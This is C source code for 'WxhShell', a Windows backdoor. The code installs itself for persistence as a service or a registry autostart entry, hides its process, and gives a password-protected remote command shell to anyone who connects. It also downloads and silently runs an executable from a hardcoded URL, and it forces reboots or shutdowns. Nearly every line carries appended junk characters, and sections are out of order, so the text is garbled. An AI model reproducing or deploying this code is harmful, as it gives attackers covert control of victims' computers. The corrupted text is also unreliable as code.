    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4E)[<%  
    if(Boot(SHUTDOWN)) $;1~JOZh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9[*kpMC  
    else { \=<.0K A~  
    closesocket(wsh); 6>Y}2fT}o3  
    ExitThread(0); iC]}M  
    } /MC\ !,K  
    break; g:g>;" B O  
    } I"1\R8 R  
  // 获取shell ? 6l::M  
  case 's': { ?H`LrL/k  
    CmdShell(wsh); V1G]LM  
    closesocket(wsh); N\?iU8w=  
    ExitThread(0); )94R\f  
    break; c#DTL/8"DO  
  } ln.~>FO  
  // 退出 o%.cQo=v*  
  case 'x': { Ow I?(ruL'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9[! Hz)|X  
    CloseIt(wsh); rdRX  
    break; b/EvcN8 }  
    } DiX4wmQ  
  // 离开 $4"OD"Z Cq  
  case 'q': { .H&;pOf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u@HP@>V  
    closesocket(wsh); vIJdl2(^E  
    WSACleanup(); -*EJj>x  
    exit(1); `@&qf}`  
    break; N%a[Y  
        } lVdExR>H  
  } QEPmuG  
  } C*9m `xh  
vC7sJIch2<  
  // 提示信息 ZttL*KK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _W+TZa@_  
} rW^&8E[  
  } +uA<g`4  
4)ISRR  
  return; 9pgct6BO  
} 0[];c$r<  
uFqH_04  
// shell模块句柄 BSz\9 eT  
int CmdShell(SOCKET sock) Wac8x%J  
{ -=RXhE_{  
STARTUPINFO si; 2g$Wv :E3  
ZeroMemory(&si,sizeof(si)); K6X1a7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j405G4BVW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vcmS]$}  
PROCESS_INFORMATION ProcessInfo; b6lL8KOu  
char cmdline[]="cmd"; sDiYm}W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .UcS4JU  
  return 0; y+PukHY  
} p d6d(  
,-b9:]{L  
// 自身启动模式 "`S61m_  
int StartFromService(void) bk<3oI  
{ c(jA"K[|b  
typedef struct A9#2.5  
{ t*x;{{jL#(  
  DWORD ExitStatus; %(E6ADB  
  DWORD PebBaseAddress; +[F8>9o&  
  DWORD AffinityMask; s{/nO)  
  DWORD BasePriority; {^qc`oF  
  ULONG UniqueProcessId; L*Y}pO  
  ULONG InheritedFromUniqueProcessId; =[WccF  
}   PROCESS_BASIC_INFORMATION; ?tcbiXRG+  
(xTHin$  
PROCNTQSIP NtQueryInformationProcess; |'.SOm9)*  
MS b{ve_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =Yfs=+O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v=4TU \b%  
}S&{ &gh  
  HANDLE             hProcess; CUG6|qu  
  PROCESS_BASIC_INFORMATION pbi; q8oEb  
1@y?OWC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xQ[YQ!l  
  if(NULL == hInst ) return 0; ~EN@$N^h  
v<) }T5~r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Q8Q#S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0jXIx2y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q6BW ax|  
-K0tK~%q  
  if (!NtQueryInformationProcess) return 0; ?`vb\K<5H;  
wFvilF V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +k>v^sz  
  if(!hProcess) return 0;  84{<]y  
N 8OPeY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UY+~xzm  
/b*@dy  
  CloseHandle(hProcess); kC+A7k6  
X;1q1X)K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;2iZX=P`n  
if(hProcess==NULL) return 0; TnG"_VK9R  
IV *}w"r  
HMODULE hMod; L?P8/]DGp  
char procName[255]; Zy#r<j]T  
unsigned long cbNeeded; ]-6 G'i?  
Li'T{0)1)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f 6q@  
\u*,~J)z  
  CloseHandle(hProcess); !y),| #7P  
%:y-"m1\u$  
if(strstr(procName,"services")) return 1; // 以服务启动 YMWy5 \  
h{m]n!  
  return 0; // 注册表启动 pM=vW{"I/  
} &F:7U!  
f`cz @  
// 主模块 g R6:J  
int StartWxhshell(LPSTR lpCmdLine) A T%0i  
{ Nwc(<  
  SOCKET wsl; ijTtyTC  
BOOL val=TRUE; M *}$$Fe|  
  int port=0; =_XcG!"  
  struct sockaddr_in door; l}wBthwCc  
e7;]+pN]J  
  if(wscfg.ws_autoins) Install(); ^R\blJQ<^  
4?&=H *H:  
port=atoi(lpCmdLine); OT[t EqQ  
/i"EVN`t  
if(port<=0) port=wscfg.ws_port; sq^,l6es>  
A@#dv2JzP  
  WSADATA data; ?G{fF H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b,'./{c0  
?SpI^Wn)[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _% P%~`?!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R0|X;3  
  door.sin_family = AF_INET; FYj3! H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *be+x RY  
  door.sin_port = htons(port); ug{F?LW[  
)uaB^L1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #Y:/^Q$_qS  
closesocket(wsl); ZibODs=f;  
return 1; %>bwpN  
} v`fUAm/  
r[lHYO  
  if(listen(wsl,2) == INVALID_SOCKET) { GwvxX&P  
closesocket(wsl); J h"]iN  
return 1; <HD/&4$[  
} K{iYp4pU  
  Wxhshell(wsl); <(iOzn  
  WSACleanup(); #:yZJS9f9  
nO/5X>A,Zw  
return 0; <@yyx7  
vxgm0ZOMN  
} C{Zv.+F  
 2O  
// 以NT服务方式启动 itvwmI,m\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rfZA21y{?  
{ F7hQNQu:  
DWORD   status = 0; 0uvL,hF  
  DWORD   specificError = 0xfffffff; sPw(+m*C   
jlB3BwG{w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^KlOD_GN|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h~1QmEat  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &><`?  
  serviceStatus.dwWin32ExitCode     = 0; "~ `-Jkm   
  serviceStatus.dwServiceSpecificExitCode = 0; #Z.JOwi  
  serviceStatus.dwCheckPoint       = 0; RS1oPY  
  serviceStatus.dwWaitHint       = 0; =f["M=)ZJ  
J0oR]eT}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ^ "f  
  if (hServiceStatusHandle==0) return; f]lDJ?+ M  
i6-K!  
status = GetLastError(); ^Nu} HcC+  
  if (status!=NO_ERROR) @Q^;qMy  
{ Jq!($PdA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `Ctj]t  
    serviceStatus.dwCheckPoint       = 0; HlO+^(eX  
    serviceStatus.dwWaitHint       = 0; Ju\"l8[f  
    serviceStatus.dwWin32ExitCode     = status; pI!55w|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ) ad-s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w7C=R8^  
    return; o#Y1Uamkf  
  } IIPf5 Z}A  
pxF!<nN1,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -K !-a'J  
  serviceStatus.dwCheckPoint       = 0; vuAjAeKm  
  serviceStatus.dwWaitHint       = 0; /?GBp[(0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v Zxy9Wmc  
} ;CW$/^QNr5  
)Ga6O2:  
// 处理NT服务事件,比如:启动、停止 M]'AA Uo8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o i?ak  
{ M~6I-HexT|  
switch(fdwControl) }u&JX  
{ L_~G`Rb3  
case SERVICE_CONTROL_STOP: "&%Hb's  
  serviceStatus.dwWin32ExitCode = 0; N7_Co;#(zK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xx^c?6YM  
  serviceStatus.dwCheckPoint   = 0; jDnh/k0{d  
  serviceStatus.dwWaitHint     = 0; kel {9b=i  
  { H1]\B:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @^e@.)  
  } :uEp7Y4  
  return; pIXQ/(h31  
case SERVICE_CONTROL_PAUSE: .DQ]q o]OG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VX%+!6+fS  
  break; L:<'TXsRA  
case SERVICE_CONTROL_CONTINUE: ke0W?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D8ly8]H  
  break; .EdV36$n  
case SERVICE_CONTROL_INTERROGATE: nAzr!$qbNv  
  break; liTr3T`,V  
}; u;!Rv E8N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8n)Q^z+ K  
} J3]m*i5A  
4Y!v$r  
// 标准应用程序主函数 ;p9D2&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]Oy<zU  
{ -O5m@rwt<  
^kq!/c3r  
// 获取操作系统版本 R4/@dA0  
OsIsNt=GetOsVer(); Ir'f((8:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FuKNH~MevQ  
a|NU)mgEI  
  // 从命令行安装 iCS/~[  
  if(strpbrk(lpCmdLine,"iI")) Install(); H]e 2d|  
\a!<^|C&  
  // 下载执行文件 [xPE?OD  
if(wscfg.ws_downexe) { A@ME7^w7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D\R^*k@V  
  WinExec(wscfg.ws_filenam,SW_HIDE); sn( }5;  
} `9-Zg??8r  
J$;)TI  
if(!OsIsNt) { }>w4!  
// 如果时win9x,隐藏进程并且设置为注册表启动 )sHPIxHI  
HideProc(); =m:W  
StartWxhshell(lpCmdLine); 7r>W r#  
} DFonK{  
else Z ux2VepT  
  if(StartFromService()) 2"O Y]d  
  // 以服务方式启动 [7V]=] p  
  StartServiceCtrlDispatcher(DispatchTable); AqkK`iJ#  
else fW _.  
  // 普通方式启动 wk#QQDV3|0  
  StartWxhshell(lpCmdLine); TTpF m~?(  
Vz*'^=(o&  
return 0; R 6Em^A/>  
} [_d*J/X  
GN0'-z6Uy  
5b,98Q  
'_)t R;s  
=========================================== c &HoS  
qE}YVKV*  
LnGSYrx1  
7W"menw  
w3>|mDA}I  
vvxj{fxb)  
" 4(82dmKO  
ny={V*m  
#include <stdio.h> R 28*  
#include <string.h> Mk[`HEO  
#include <windows.h> YqgW8 EM  
#include <winsock2.h> 3iw9jhK!W  
#include <winsvc.h> j&.BbcE45  
#include <urlmon.h> 7krA+/Qr(  
d}_c (  
#pragma comment (lib, "Ws2_32.lib") 7 w,FA  
#pragma comment (lib, "urlmon.lib") L ]c9  
S)yV51^B  
#define MAX_USER   100 // 最大客户端连接数 yxbTcZ  
#define BUF_SOCK   200 // sock buffer ?W_U{=anl  
#define KEY_BUFF   255 // 输入 buffer @g~sgE}#  
aehMLl9cl  
#define REBOOT     0   // 重启 `'WLGQG  
#define SHUTDOWN   1   // 关机 Kf#!IY][  
5eA]7$ic  
#define DEF_PORT   5000 // 监听端口 99K+7G\{  
N&=2 /  
#define REG_LEN     16   // 注册表键长度 +ctv]'P_  
#define SVC_LEN     80   // NT服务名长度 K5&C}Ey1  
LnS >3$t*  
// 从dll定义API MFuI&u!g:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c ?XUb[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~py0Vx,F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BtChG] N|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @U@yIv  
;4$C$r!t  
// wxhshell配置信息 b_ yXM  
struct WSCFG { u,:`5*al{  
  int ws_port;         // 监听端口 Bw.&3efd  
  char ws_passstr[REG_LEN]; // 口令 IviQ)h p  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6a?p?I K^  
  char ws_regname[REG_LEN]; // 注册表键名 o[hP&9>q  
  char ws_svcname[REG_LEN]; // 服务名 79H+~1Az  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (14kR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B}+9U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uFZB8+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x35s6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X:&p9_O@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lVtn$frp  
q}Z T?Xk?  
}; 7G/|e24  
Ws)X5C=A  
// default Wxhshell configuration A'iF'<%  
struct WSCFG wscfg={DEF_PORT, 30+l0\1  
    "xuhuanlingzhe", =hIT?Z6A  
    1, .+}o'rU  
    "Wxhshell", [nIG_j>D-f  
    "Wxhshell", 389.&`Q%Ut  
            "WxhShell Service", a] =\h'S  
    "Wrsky Windows CmdShell Service", L]N2r MM  
    "Please Input Your Password: ", 92VX5?Cyg  
  1, `e>F<{ M6@  
  "http://www.wrsky.com/wxhshell.exe", @n* D>g  
  "Wxhshell.exe" k=2l9C3Z  
    }; Cf[F`pFM  
jDXGm[U  
// 消息定义模块 ?3,tG z)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g4aX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?0<INS~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FNCLGAiZ  
char *msg_ws_ext="\n\rExit."; w*%$ lhp!  
char *msg_ws_end="\n\rQuit."; h\*rv5\M  
char *msg_ws_boot="\n\rReboot..."; %L>nXj  
char *msg_ws_poff="\n\rShutdown..."; ~PW}sN6ppG  
char *msg_ws_down="\n\rSave to "; iCRw}[[  
'8kjTf#g<l  
char *msg_ws_err="\n\rErr!"; Sx9:$"3.X  
char *msg_ws_ok="\n\rOK!"; g{)H" 8L  
nvo1+W(%  
char ExeFile[MAX_PATH]; w })Pedg  
int nUser = 0; xWz;5=7a]  
HANDLE handles[MAX_USER]; _ZM9 "<M-X  
int OsIsNt; $1zeY6O  
'O2#1SWe  
SERVICE_STATUS       serviceStatus; ZQ-`l:G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9$V_=Bo  
9^#gVTGXv  
// 函数声明 8pMZ~W;  
int Install(void); `W$0T;MPF  
int Uninstall(void); LiD |4(3  
int DownloadFile(char *sURL, SOCKET wsh); L Yg$M@  
int Boot(int flag); J:Y|O-S!  
void HideProc(void); emY5xZ@N  
int GetOsVer(void); vs)I pV(  
int Wxhshell(SOCKET wsl); ^iRwwN=d  
void TalkWithClient(void *cs); R|J>8AL}BY  
int CmdShell(SOCKET sock); [S&O-b8A  
int StartFromService(void); fwv T2G4  
int StartWxhshell(LPSTR lpCmdLine); <&s)k  
w[7.@%^[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xe3z6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @*O{*2  
R5&$h$[/  
// 数据结构和表定义 ->2wrOH|H  
SERVICE_TABLE_ENTRY DispatchTable[] = %^?3s5PXD  
{ uj9tr`Zh  
{wscfg.ws_svcname, NTServiceMain}, P,;b'-5C  
{NULL, NULL} %>9+1lUhV  
}; +bc#GzVF  
!QR?\9`  
// 自我安装 a$zm/  
int Install(void) 3^R][;  
{ tZu*Asx7  
  char svExeFile[MAX_PATH]; `TD%M`a  
  HKEY key; ?I2k6%a  
  strcpy(svExeFile,ExeFile); h3]@M$Y[  
Q@W|GOH3  
// 如果是win9x系统,修改注册表设为自启动 %f_OP$;fc  
if(!OsIsNt) { Z: lB:U'o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AK s39U'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Z8"uRTb0  
  RegCloseKey(key); R(? <97  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [mf7>M`p]@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  J"Y   
  RegCloseKey(key); iPY vePQ  
  return 0; t>6x)2,TC  
    } _{*$>1q  
  }  @6YBK+"  
} Pm#x?1rAj  
else { ~r>EF!U`h  
tk)>CK11  
// 如果是NT以上系统,安装为系统服务 |IX`(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2^^'t6@  
if (schSCManager!=0) ^M(`/1:  
{ R2Rstk  
  SC_HANDLE schService = CreateService ICl_ eb  
  ( o(d_uJOB  
  schSCManager, mU3Y)  
  wscfg.ws_svcname, +)JNFy-  
  wscfg.ws_svcdisp, '/u:,ar  
  SERVICE_ALL_ACCESS, `gt&Y-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3:~l2KIP4  
  SERVICE_AUTO_START, 9!xD~(Kr  
  SERVICE_ERROR_NORMAL, f05"3L:  
  svExeFile, juYA`:qE&  
  NULL, gN, k/U8  
  NULL, I`"-$99|t1  
  NULL, (Q@+v<   
  NULL, N(_ .N6  
  NULL z>mZT.  
  ); >FY&-4+v  
  if (schService!=0) Z(LxB$^l[  
  { 8yE%X!E  
  CloseServiceHandle(schService); h8#5vO2  
  CloseServiceHandle(schSCManager); dE5 5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~~xyFT+{F  
  strcat(svExeFile,wscfg.ws_svcname); 4C,kA+P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X"TUe>cM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sqdc1zC  
  RegCloseKey(key); z{`6#  
  return 0; <;z[+6T  
    } $#G6m`V  
  } OK M\"A4  
  CloseServiceHandle(schSCManager); O$"bd~X  
} 49xp2{  
} K9C@dvFH  
H b A3*2  
return 1; Z{a{HX[Jx  
} H]tSb//qc  
N#RD:"RS!  
// 自我卸载 462!;/ y  
int Uninstall(void) b(|%Gbg@c  
{ 7wiK.99  
  HKEY key; '0R/6Z|/Y  
}>{ L#JW  
if(!OsIsNt) { om".j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` $.X[\*U  
  RegDeleteValue(key,wscfg.ws_regname); S_T{L  
  RegCloseKey(key); &Rt+LN0qB0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FE8+E\ U?  
  RegDeleteValue(key,wscfg.ws_regname); d7W%zg\T  
  RegCloseKey(key); FX|0R#4vm  
  return 0; J0?$v6S  
  } /'Qu u)~  
} *=$[}!YG  
} /'&.aGW4%  
else { *Nv y+V  
k_*XJ<S!Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VO. -.  
if (schSCManager!=0) Ynv9&P  
{ lFiq<3Nk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ->&BcPLn  
  if (schService!=0) LKR==;qn  
  { \#\`!L[1  
  if(DeleteService(schService)!=0) { F* 3G _V  
  CloseServiceHandle(schService); TnN^2:cU  
  CloseServiceHandle(schSCManager); E1c>nrnh*  
  return 0; @9_nwf~X4  
  } q4sl=`L5Sp  
  CloseServiceHandle(schService); lSn5=^]q  
  } ur/Oc24i1n  
  CloseServiceHandle(schSCManager); 3E<aiGU  
} y\F`B0#$  
} d3EjI6R*z  
tSEA999  
return 1; (@ %XWg  
} "C:rTIH  
#joF{ M{  
// 从指定url下载文件 2UU 2Vm_6  
int DownloadFile(char *sURL, SOCKET wsh) +Fk4{p  
{ C+/Eqq^(  
  HRESULT hr; n!UMU^  
char seps[]= "/"; 8`:M\*  
char *token; #2Ac  
char *file; H/^ ~<U#p  
char myURL[MAX_PATH]; _, \y2&KT  
char myFILE[MAX_PATH]; f*{M3"$E  
<)_:NRjBF&  
strcpy(myURL,sURL); X!U]`Qh  
  token=strtok(myURL,seps); _wm~}_Q  
  while(token!=NULL) McT\ R{/  
  { ky'|Wk6   
    file=token; a<f;\$h]  
  token=strtok(NULL,seps); zo_k\K`{@  
  } 5c<b|  
MS{Hz,I,  
GetCurrentDirectory(MAX_PATH,myFILE); m3U+ du  
strcat(myFILE, "\\"); ^D9 /  
strcat(myFILE, file); i'M^ez)u  
  send(wsh,myFILE,strlen(myFILE),0); nHI(V-E2:H  
send(wsh,"...",3,0); `[X6#` <  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f|X[gL,B  
  if(hr==S_OK) P7}t lHX  
return 0; bHO7* E  
else :0nK`$'  
return 1; _TZW|Dh-2F  
,"@w>WL<9  
} *GCA6X  
|tG05+M  
// 系统电源模块 D4AEZgC F,  
int Boot(int flag) IgLVn<5n  
{ 5XzrS-I+X@  
  HANDLE hToken; 'GrRuT<  
  TOKEN_PRIVILEGES tkp; ?$<SCN =  
d-hbvLn  
  if(OsIsNt) { XXXl jh6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s0gJ f[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <Cu'!h_nL  
    tkp.PrivilegeCount = 1; ;JAK[o8i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i B%XBR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dj3|f{kg{  
if(flag==REBOOT) { &K06}[J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kX igX-  
  return 0; b+W)2rFO  
} ah 4kA LO  
else { W7%p^;ZQ$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zs4>/9O  
  return 0; P`}$-#DF  
} Pg7>ce  
  } xy2\'kS`G  
  else { {V.Wk  
if(flag==REBOOT) { Z/xV\Ggx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )i&%cyZw  
  return 0; +:}kZDl@ X  
} YQN.Ohtv*F  
else { Z#CxQ D%\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3b#L17D3_  
  return 0; /d[Mss  
} 7`Qde!+C  
} >+L7k^[,0  
1d`cTaQ-  
return 1; Ny[Q T*nV  
} (viWY  
=ntft SH  
// win9x进程隐藏模块 j(&GVy^;?  
void HideProc(void) 5n:nZ_D  
{ !zU/Hq{wcK  
xf'LR[M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _jW>dU^B  
  if ( hKernel != NULL ) 9p5= _  
  { yGRR8F5>(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M/*Bh,M`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :*=Ns[Y  
    FreeLibrary(hKernel); iM8sX B  
  } Hyf"iYv+  
{JXf*IJ  
return; kl=xu3j  
} b,9@P&=:2  
2v4W6R  
// 获取操作系统版本 V)=Z6ti  
int GetOsVer(void) >Dxe>Q'df  
{ gglf\)E;}E  
  OSVERSIONINFO winfo; z23#G>I&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v3 -5"q!Sq  
  GetVersionEx(&winfo); &i)helXs]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -=5EbNPwG  
  return 1; TM)u?t+[  
  else 2_ wv C  
  return 0; su}&".e^  
} Z A[)  
00"CC  
// 客户端句柄模块 ?5`{7daot  
int Wxhshell(SOCKET wsl) V- /YNRV  
{ AH|Y<\  
  SOCKET wsh; '|_/lz$h  
  struct sockaddr_in client; MBlBMUJk  
  DWORD myID; 2R\+}  
7"#f!.E  
  while(nUser<MAX_USER) d)\2U{  
{ |88CBiu}  
  int nSize=sizeof(client); uj)yk*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ubi~%  
  if(wsh==INVALID_SOCKET) return 1; 5 5^tfu   
W8y$ Ve8m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r|<6Aae&  
if(handles[nUser]==0) r5[4h'f  
  closesocket(wsh); 6s5yyy=L%~  
else +^Fp&K+^  
  nUser++; c+~Lp SQ  
  } >:%BNeO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #,TELzUVE  
X~Cq  
  return 0; ) y`i@S}J  
} x7H A722w  
]W;:|/,c  
// 关闭 socket zz&vfO31J  
void CloseIt(SOCKET wsh) p3 e|j  
{ oXdel Ju?  
closesocket(wsh); |U EC  
nUser--; "-P/jk  
ExitThread(0); f}2;N  
} Je 31".  
lY8`5Uz  
// 客户端请求句柄 $T?]+2,6;  
void TalkWithClient(void *cs) cv]BV>=E  
{ V:OiW"/  
Jr]gEBX  
  SOCKET wsh=(SOCKET)cs; O:._W<  
  char pwd[SVC_LEN]; 2$ tQ @r  
  char cmd[KEY_BUFF]; yyjw?#\8  
char chr[1]; |kseKZ3  
int i,j; *,&S',S-  
0yaMe@&,  
  while (nUser < MAX_USER) { 57<Di!rt  
FfG%C>E6~  
if(wscfg.ws_passstr) { V 9Hl1\j^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .;g}%C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lc%xc`n8B  
  //ZeroMemory(pwd,KEY_BUFF); e^8BV;+c  
      i=0; ?2ItTrlB  
  while(i<SVC_LEN) { 6} #"qqnx  
8ljuc5,J  
  // 设置超时 cJ2PI  
  fd_set FdRead; n[P\*S  
  struct timeval TimeOut; 0<Q*7aY  
  FD_ZERO(&FdRead); z&F5mp@  
  FD_SET(wsh,&FdRead); +?Ez} BP  
  TimeOut.tv_sec=8; 7h`^N5H.q  
  TimeOut.tv_usec=0; '60//"9>k/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `;cz;"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F,&)X>:l  
eF5;[v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^BiP LQ  
  pwd=chr[0]; n]iyFZ`9  
  if(chr[0]==0xd || chr[0]==0xa) { %J!NL0x_  
  pwd=0; +{e`]t>_  
  break; nmg{%P  
  } c]NN'9G!{  
  i++; #)]E8=}  
    } j8a[ (  
(:n|v%  
  // 如果是非法用户,关闭 socket (v^Z BM_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "mA1H]r3  
} +>}o;`hPe  
R$d7\nBG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |IN[uQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1'fb @vO  
y42#n  
while(1) { =) }nLS3t  
%K l(>{N  
  ZeroMemory(cmd,KEY_BUFF); /[{auUxSX  
I .P6l*$  
      // 自动支持客户端 telnet标准   NbkK&bz  
  j=0; 'Wp @b678  
  while(j<KEY_BUFF) { dp<$Zw8BE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vBoO'l9'M  
  cmd[j]=chr[0]; 9yL6W'B!  
  if(chr[0]==0xa || chr[0]==0xd) { `ET& VV  
  cmd[j]=0; q:]Q% IC^  
  break; OaaH$B  
  } D5L{T+}Oi%  
  j++; J^:n* C  
    } ~},W8\C>  
"V}qf3 qU  
  // 下载文件 J@Yj\9U  
  if(strstr(cmd,"http://")) { 4K7{f+T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cz(G]{N  
  if(DownloadFile(cmd,wsh)) 2Wl{Br.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r6 }_H?j  
  else h.}u?{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (w$'o*z;(  
  } Ct!S Tk[2  
  else { 5@f5S0 Y  
&<0ZUI |S3  
